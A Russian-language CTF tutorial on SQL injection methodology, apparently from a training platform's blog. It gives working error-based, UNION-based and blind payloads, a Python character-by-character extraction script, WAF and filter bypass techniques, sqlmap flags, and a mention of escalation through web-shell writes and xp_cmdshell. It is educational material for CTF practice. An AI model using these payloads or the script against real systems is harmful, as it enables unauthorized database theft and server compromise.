
На разборе после очередного CTF подсчитали: из восьми веб-задач пять построены на SQL-инъекциях — от обхода аутентификации SQL через форму логина до слепой инъекции в cookie. Трое новичков застряли на ' OR 1=1-- и не сдвинулись за три часа. Опытные за это же время прошли полные цепочки: определение СУБД, подбор столбцов, извлечение метаданных, забор флага. Разница не в знании SQL — в наличии методологии. Здесь — системный подход к решению CTF-задач на SQL-инъекцию: какой SQL-инъекция пейлоад пробовать первым, как переключаться между техниками и когда автоматизировать ручную эксплуатацию SQL.
SQL-инъекция в классификации MITRE ATT&CK — техника Exploit Public-Facing Application (T1190, Initial Access). Атакующий находит точку ввода в веб-приложении и через неё добирается до базы данных — тактика Collection, техника Databases (T1213.006). В продвинутых задачах инъекция ведёт к чтению файлов (Data from Local System, T1005) или закреплению через SQL Stored Procedures (T1505.001, Persistence). По классификации OWASP — A03:2021, Injection. Подробнее — в нашем руководстве по пентест веб-приложений.
В CTF цепочка короче реального пентеста, но логика та же:
Каждый следующий шаг зависит от результата предыдущего. Именно поэтому SQL-инъекция в CTF — структурированная задача, а не гадание на кофейной гуще. Понимаешь последовательность — перестаёшь тыкать пейлоады наугад.
Перед началом подготовьте рабочее пространство:
Алгоритм, который я применяю на каждой веб-задаче CTF:
Шаг 1 — реакция на спецсимвол. Вставляем одинарную кавычку ' в параметр. Три исхода:
You have an error in your SQL syntax) → вероятен error-based SQLi' AND SLEEP(5)-- для MySQL или '; SELECT pg_sleep(5)-- для PostgreSQL. Задержка ответа = time-based blind SQLiШаг 2 — определение СУБД. Синтаксис пейлоадов зависит от конкретной СУБД. По данным SQL Injection Cheat Sheet от Invicti, именно разница в синтаксисе — главная причина, почему универсальные пейлоады не работают. Быстрые тесты:
%23 работает как комментарий → MySQL/MariaDB (символ # без кодирования в URL не передаётся серверу). Для подтверждения дополнительно проверяйте @@version' AND '1' с двойной вертикальной чертой (оператор конкатенации в PostgreSQL и SQLite) возвращает строку → PostgreSQL или SQLite' AND @@version>0-- → MySQL или MSSQL' UNION SELECT sqlite_version()-- успешен → SQLiteСводная таблица ключевых различий СУБД в контексте CTF:
| Функция | MySQL | PostgreSQL | SQLite |
|---|---|---|---|
| Комментарий строки | -- (пробел обязателен), # (%23), /* */ |
--, /* */ (вложенные) |
--, /* */ |
| Версия | @@version |
version() |
sqlite_version() |
| Конкатенация | CONCAT(a,b) |
Оператор конкатенации строк | Аналогично PostgreSQL |
| Задержка | SLEEP(N) |
pg_sleep(N) |
Нет нативной функции |
| Подстрока | SUBSTRING(), MID() |
SUBSTRING() |
SUBSTR() |
| Метаданные таблиц | information_schema.tables |
information_schema.tables |
sqlite_master |
Шаг 3 — выбор техники. Ошибки видны → error-based (самая быстрая). Данные из запроса отображаются на странице → UNION-based. Ни ошибок, ни данных → blind (boolean или time). Правильная классификация на этом шаге экономит 30-40 минут на задаче.
[Применимо: CTF-задачи с отображением ошибок БД, конфигурации без подавления verbose errors]
Error-based SQL-инъекция — самый быстрый путь к флагу, когда приложение выплёвывает тексты ошибок. Как описывает PortSwigger в исследовании blind SQL injection, функция CAST() превращает слепую инъекцию в видимую: попытка привести строку к integer заставляет СУБД вернуть содержимое строки прямо в тексте ошибки.
Техники для MySQL. Основные функции — extractvalue() и updatexml(). Обе ожидают корректное XPath-выражение и ругаются, если получают что-то другое. Именно это используется для извлечения данных SQL-инъекцией:
' AND extractvalue(1, concat(0x7e, (SELECT version())))--' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1)))--' AND extractvalue(1, concat(0x7e, (SELECT flag FROM flag)))--Механика: функция ожидает XPath вроде /root/node. Когда вместо этого получает строку ~users — выбрасывает ошибку XPATH syntax error: '~users'. Имя таблицы — прямо в тексте ошибки. Красота.
Альтернатива — техника через FLOOR(RAND(0)*2) и GROUP BY, описанная в руководстве pentest-tools.com: запрос ' AND (SELECT 0 FROM (SELECT count(*), CONCAT((SELECT @@version), 0x23, FLOOR(RAND(0)*2)) AS x FROM information_schema.columns GROUP BY x) y)-- возвращает версию в ошибке Duplicate entry '10.1.36-MariaDB#0'. Тут тонкость: RAND(0) с фиксированным seed даёт детерминированную последовательность, FLOOR(...*2) округляет до 0 или 1, и при GROUP BY возникает дублирование ключа во временной таблице — без seed=0 техника нестабильна и может сработать через раз.
Для PostgreSQL стандартный приём через CAST(): пейлоад ' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int)-- вернёт ERROR: invalid input syntax for type integer: "users".
Ограничения error-based SQLi. Функции extractvalue() и updatexml() в MySQL возвращают максимум 32 символа. Для длинных значений придётся резать через SUBSTRING(): конструкция extractvalue(1, concat(0x7e, substring((SELECT flag FROM flag), 10, 32))) извлекает символы порциями. Техника мёртвая, если приложение перехватывает исключения БД и показывает generic-ответ (HTTP 500 без деталей). Нет ошибок в ответе — переключайтесь на UNION или blind.
[Применимо: задачи, где результат SELECT отображается на странице — каталоги, профили, поиск]
UNION-based инъекция — рабочая лошадка CTF-задач на SQL-инъекции. Оператор UNION присоединяет к оригинальному запросу произвольный SELECT, и результат вываливается на страницу. По данным Acunetix, UNION-based SQLi позволяет объединить результаты нескольких SELECT-запросов в единый HTTP-ответ.
Без точного совпадения числа столбцов UNION выбросит ошибку. Два метода:
ORDER BY (бинарный поиск). Последовательно увеличиваем номер: ' ORDER BY 1-- → ОК, ' ORDER BY 5-- → ошибка, ' ORDER BY 3-- → ОК, ' ORDER BY 4-- → ошибка. Три столбца. Находим за log₂(N) запросов.
UNION SELECT NULL. Добавляем NULL-значения: ' UNION SELECT NULL-- → ошибка, ' UNION SELECT NULL, NULL-- → ошибка, ' UNION SELECT NULL, NULL, NULL-- → результат. Три столбца. Медленнее ORDER BY, но надёжнее в контекстах, где ORDER BY синтаксически запрещён.
После определения количества столбцов нужно найти, какие из них выводятся на страницу. Запрос -1' UNION SELECT 'aaa', 'bbb', 'ccc'-- покажет, где появляются строки — именно в эти позиции подставляем подзапросы.
Полная цепочка UNION-based извлечения — три шага. Допустим, MySQL, три столбца, второй отображается:
-- Шаг 1: таблицы текущей БД
-1' UNION SELECT 1, GROUP_CONCAT(table_name), 3
FROM information_schema.tables WHERE table_schema=database()--
-- Шаг 2: столбцы таблицы flag
-1' UNION SELECT 1, GROUP_CONCAT(column_name), 3
FROM information_schema.columns WHERE table_name='flag'--
-- Шаг 3: забираем флаг через SQLi
-1' UNION SELECT 1, flag, 3 FROM flag--
Для SQLite вместо information_schema используется sqlite_master: запрос -1' UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'-- вернёт CREATE TABLE со всеми именами столбцов.
Ограничения UNION-based. Не работает, если вывод запроса не отображается на странице — тогда нечего «юнионить». В PostgreSQL строже типизация столбцов — может потребоваться CAST(1 AS text). WAF-фильтры на слово UNION обходятся через смену регистра (uNiOn) или inline-комментарии (UN/**/ION).
[Применимо: формы логина без вывода данных, cookie-based инъекции, задачи без ошибок]
Blind SQL-инъекция — самый нудный тип задач в CTF. Приложение не возвращает ни результат запроса, ни ошибку — только косвенные признаки. Как отмечает PortSwigger, многие реальные уязвимости являются слепыми, и техники UNION к ним неприменимы.
Принцип: формулируем вопрос TRUE/FALSE и определяем ответ по поведению приложения. Классический пример из PortSwigger Web Academy — cookie TrackingId:
xyz' AND '1'='1 → страница содержит «Welcome back» (TRUE)xyz' AND '1'='2 → «Welcome back» отсутствует (FALSE)Извлекаем данные посимвольно. Чтобы определить первый символ пароля, применяем бинарный поиск: пейлоад xyz' AND SUBSTRING((SELECT password FROM users WHERE username='Administrator'),1,1)>'m — если TRUE, символ в диапазоне n-z. Каждый символ находится за 6-8 запросов.
Более мощная техника — conditional errors через CASE WHEN, описанная PortSwigger для случаев, когда контент страницы не меняется, но приложение по-разному обрабатывает ошибки БД. Пейлоад xyz' AND (SELECT CASE WHEN (SUBSTRING(password,1,1)>'m') THEN 1/0 ELSE 'a' END FROM users)='a вызывает деление на ноль (ошибка 500) при TRUE и нормальный ответ при FALSE. Этот SQL-инъекция пейлоад работает даже там, где классический boolean-based бессилен.
Последнее средство — когда ни контент, ни HTTP-код, ни заголовки не меняются. Если условие TRUE, база засыпает на N секунд:
' AND IF(SUBSTRING((SELECT flag FROM flag),1,1)='s', SLEEP(5), 0)--' AND (SELECT CASE WHEN SUBSTRING(flag,1,1)='s' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM flag)--Ограничения time-based blind SQLi. Крайне медленная техника. На перегруженных CTF-серверах базовое время ответа «плавает» в диапазоне 1-3 секунды — задержку SLEEP приходится ставить от 5 секунд. Флаг из 30 символов при 7 запросах на символ и 5-секундном SLEEP — 17 минут чистого ожидания. Для SQLite нативной функции задержки нет вообще. Боль.
Перебирать символы вручную — верный путь к проигрышу по времени. Минимальный скрипт для boolean-based извлечения данных SQL-инъекцией:
import requests
url, flag = "http://target.ctf/login", ""
charset = "abcdefghijklmnopqrstuvwxyz0123456789{}_-"
for pos in range(1, 50):
found = False
for ch in charset:
payload = f"admin' AND SUBSTRING((SELECT flag FROM flag),{pos},1)='{ch}'--"
r = requests.post(url, data={"username": payload, "password": "x"})
if "Welcome" in r.text:
flag += ch; print(f"[+] {flag}"); found = True; break
if not found: break
print(f"Flag: {flag}")
Для time-based замените проверку if "Welcome" in r.text на if r.elapsed.total_seconds() > 4. Для ускорения в 3-5 раз замените прямой перебор символов бинарным поиском по ASCII-коду — вместо проверки каждого символа проверяйте > chr(mid) и делите диапазон пополам.
Авторы CTF усложняют задачи фильтрацией ввода. В терминах MITRE ATT&CK обход фильтров — Command Obfuscation (T1027.010). Вот приёмы, которые встречаются постоянно:
Пробелы заблокированы. Замена на inline-комментарий /**/: пейлоад SELECT/**/flag/**/FROM/**/flag работает в MySQL, PostgreSQL, SQLite. Альтернативы: %09 (табуляция) или %0a (перенос строки) в URL-кодировке.
Ключевые слова SELECT/UNION. Если фильтр case-sensitive — смена регистра: SeLeCt, uNiOn. Регулярки в CTF часто проверяют только полное совпадение в одном регистре. Лень авторов — наш шанс.
Кавычки заблокированы. Hex-кодирование строк: вместо WHERE name='admin' пишем WHERE name=0x61646d696e (MySQL). Префикс 0x указывает, что значение — hex-строка. Приём стабильно обходит регулярку /['"]+/.
Запятые заблокированы. Замена через JOIN: вместо UNION SELECT 1,2,3 — конструкция UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c. Читаемость страдает, зато работает.
Знак равенства заблокирован. Замена на LIKE: WHERE name LIKE 0x61646d696e вместо WHERE name=0x61646d696e. Или оператор IN: WHERE name IN (0x61646d696e).
MySQL-специфика: синтаксис версионных комментариев /*!50000 SELECT*/ выполняет код только на MySQL >= 5.0. По данным Invicti SQL Injection Cheat Sheet, этот синтаксис уникален для MySQL — одновременно обход фильтра и подтверждение типа СУБД. Два зайца одним пейлоадом.
[Применимо: CTF без ограничений на инструменты, задачи с типичными точками инъекции]
sqlmap автоматизирует весь цикл: определение СУБД, перечисление баз, дамп таблиц. Базовая команда sqlmap -u "http://target.ctf/page?id=1" --dbs решает типовую инъекцию в базу данных за минуту. Для blind-задач sqlmap CTF оптимизирует число запросов и подбирает задержку — работа, которая вручную занимает 20 минут, делается за две.
Ключевые флаги: --technique=U (только UNION), --level=3 --risk=3 (расширенные пейлоады), --tamper=space2comment,randomcase (обход фильтров пробелов и регистра).
| Ситуация | sqlmap | Почему |
|---|---|---|
| Типовая GET-инъекция без фильтров | Оправдан | Экономит 5-10 минут |
| Blind с длинным флагом | Оправдан | Автоматизирует бинарный поиск |
| Кастомный WAF с нестандартной логикой | Не поможет | Не угадает нестандартную фильтрацию |
| Second-order SQLi | Не поможет | Пейлоад и срабатывание в разных местах |
| Инъекция в JSON/Header/Cookie | С осторожностью | Нужна ручная конфигурация через -p и --data |
| Обучающий CTF с writeup-требованием | Не стоит | «Запустил sqlmap» не объясняет механику |
Ограничение: на платформах с rate-limiting sqlmap может исчерпать лимит запросов до обнаружения уязвимости. Проверьте ограничения перед запуском.
У CTF есть слепое пятно, о котором не пишут в writeup-ах. Задачи на SQL-инъекцию учат эксплуатировать уже найденную точку ввода. В реальном пентесте бо́льшая часть работы — обнаружение инъекции, а не её эксплуатация. Форма логина в CTF очевидна — на реальном сайте уязвимый параметр может прятаться в REST API, GraphQL-переменной или HTTP-заголовке X-Forwarded-For. CTF тренируют технику, но не тренируют разведку. И это фундаментальный разрыв.
Второй разрыв — инъекция в вакууме. На CTF забираешь флаг и идёшь к следующей задаче. На пентесте SQL-инъекция — точка входа, за которой эскалация: чтение файлов через LOAD_FILE(), запись web-shell через INTO OUTFILE, выполнение команд через xp_cmdshell (MSSQL). Довести инъекцию от чтения данных до контроля над сервером — отдельный навык, который CTF формата Jeopardy почти не проверяют.
И третье: новички переоценивают сложность blind-инъекций и недооценивают обход фильтров. Blind — механическая работа, которую решает скрипт на десять строк. WAF-обход с нестандартной логикой фильтрации требует понимания парсинга SQL на уровне конкретной СУБД — тут чтение документации и чит-шитов даёт больше, чем решение сотни однотипных задач. Если хочешь не просто writeup, а пройти всю атаку самому — на WAPT эту цепочку проходят в лабах от разведки до закрепления.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...